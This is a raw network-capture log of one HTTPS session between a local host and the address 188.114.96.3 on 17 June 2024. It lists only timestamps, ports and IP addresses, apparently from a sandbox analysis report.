Jun 17, 2024 16:18:48.219208956 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.219232082 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.219273090 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.219342947 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.219357967 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.219393969 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.219404936 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.219446898 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.219448090 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.219481945 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.219497919 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.219536066 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.219547987 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.219573975 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.219593048 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.219840050 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.219856977 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.219892979 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.219903946 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.219944954 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.219963074 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.219976902 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.219976902 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.219995022 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.220019102 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.220031977 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.220038891 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.220038891 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.220057011 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.220078945 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.220108986 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.220441103 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.220455885 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.220511913 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.220516920 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.220518112 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.220530033 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.220570087 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.220593929 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.220650911 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.220664024 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.220700979 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.220711946 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.220738888 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.252477884 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.252510071 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.252676010 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.252676964 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.252749920 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.252839088 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.252852917 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.252895117 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.252921104 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.252945900 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.252958059 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.252979994 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.253000021 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.253019094 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.253045082 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.253045082 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.253139973 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.253153086 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.253192902 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.253211021 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.253236055 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.253559113 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.253576994 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.253614902 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.253633022 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.253659964 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.253894091 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.253916025 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.253953934 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.253968000 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.253994942 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.301438093 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.324654102 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.326842070 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.326863050 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.326913118 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.326956034 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.326991081 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.327016115 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.327085972 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.327115059 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.327141047 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.327153921 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.327183008 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.327202082 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.327358007 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.327380896 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.327416897 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.327440023 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.327464104 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.327481985 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.327533960 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.327553988 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.327589035 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.327600956 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.327626944 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.327658892 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.327749014 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.327768087 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.327797890 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.327809095 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.327836990 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.327862978 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.327909946 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.327929974 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.327965975 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.327976942 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.328002930 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.328020096 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.328197956 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.328222990 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.328254938 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.328265905 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.328290939 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.328296900 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.328305960 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.328316927 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.328344107 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.328351974 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.328382969 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.328392982 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.328423023 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.328444004 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.328609943 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.328629017 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.328665972 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.328676939 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.328702927 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.328722000 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.328747034 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.328772068 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.328807116 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.328818083 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.328860044 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.328860044 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.328917027 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.328942060 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.328972101 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.328983068 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.329030037 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.329185009 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.329205036 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.329237938 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.329250097 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.329281092 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.329309940 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.332123995 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.332144022 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.332185030 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.332195997 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.332222939 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.332242012 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.332340956 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.332360029 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.332387924 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.332473993 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.332485914 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.332511902 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.332536936 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.332539082 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.332552910 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.332564116 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.332611084 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.332849979 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.332869053 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.332906961 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.332917929 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.332938910 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.332945108 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.332962990 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.332962990 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.332973003 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.332999945 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.333031893 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.333045006 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.333065033 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.333120108 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.333132982 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.333183050 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.333345890 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.333365917 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.333396912 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.333409071 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.333437920 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.333456039 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.333512068 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.333534956 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.333561897 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.333573103 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.333597898 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.333615065 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.333662987 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.333693027 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.333714962 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.333725929 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.333751917 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.333770037 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.334003925 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.334027052 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.334062099 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.334073067 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.334095001 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.334099054 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.334115982 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.334124088 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.334134102 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.334161997 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.334172010 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.334177971 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.334187984 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.334202051 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.334213018 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.334239960 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.334264040 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.334347963 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.334379911 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.334404945 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.334415913 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.334446907 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.334466934 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.334572077 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.334594011 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.334630966 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.334641933 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.334669113 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.334686041 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.334750891 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.334783077 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.334806919 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.334817886 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.334845066 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.334866047 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.334889889 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.334909916 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.334944010 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.334954977 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.334979057 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.335000992 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.335067987 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.335088968 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.335124016 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.335139036 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.335160971 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.335184097 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.335194111 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.335205078 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.335230112 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.335236073 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.335278988 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.335294962 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.335319042 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.335355043 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.335360050 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.335371017 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.335395098 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.335431099 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.335443974 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.335472107 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.335490942 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.335531950 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.335556030 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.335592985 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.335603952 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.335630894 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.335635900 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.335648060 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.335658073 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.335684061 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.335685015 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.335700989 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.335711002 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.335738897 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.335778952 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.335895061 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.335911989 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.335952044 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.335963964 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.335989952 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.336005926 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.336044073 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.336064100 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.336096048 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.336107969 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.336136103 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.336172104 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.336203098 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.336227894 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.336262941 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.336272955 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.336292982 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.336297989 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.336318016 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.336318016 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.336330891 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.336354017 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.336371899 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.336400032 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.336517096 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.336534977 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.336571932 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.336582899 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.336607933 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.336627007 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.336668015 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.336689949 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.336724997 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.336735964 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.336761951 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.336779118 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.336816072 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.336836100 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.336874008 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.336890936 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.336913109 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.336930037 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.336954117 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.336970091 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.337003946 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.337016106 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.337043047 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.337061882 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.337188959 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.337209940 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.337248087 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.337259054 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.337280035 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.337284088 CEST	49732	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:48.337302923 CEST	443	49732	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:48.337322950 CEST	49732	443	192.168.2.4	188.114.96.3
